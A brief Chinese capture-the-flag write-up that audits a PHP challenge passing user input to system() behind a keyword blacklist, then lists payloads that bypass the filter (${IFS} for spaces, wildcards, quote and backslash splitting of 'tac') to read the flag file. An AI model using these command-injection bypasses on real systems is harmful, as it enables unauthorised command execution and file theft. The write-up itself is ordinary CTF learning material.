1. 代码审计

    1. <?php
    2. if(isset($_GET['c'])){
    3. $c=$_GET['c'];
    4. if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    5. echo($c);
    6. $d = system($c);
    7. echo "<br>".$d;
    8. }else{
    9. echo 'no';
    10. }
    11. }else{
    12. highlight_file(__FILE__);
    13. }
  2. 仔细看下,$没过滤,nl没过滤,还不会重定向了
    ```shell ?c=nl${IFS}fla?.php ?c=ta’’c${IFS}fl’’ag.php

新姿势,利用\进行绕过

?c=ta\c${IFS}fl\ag.php ```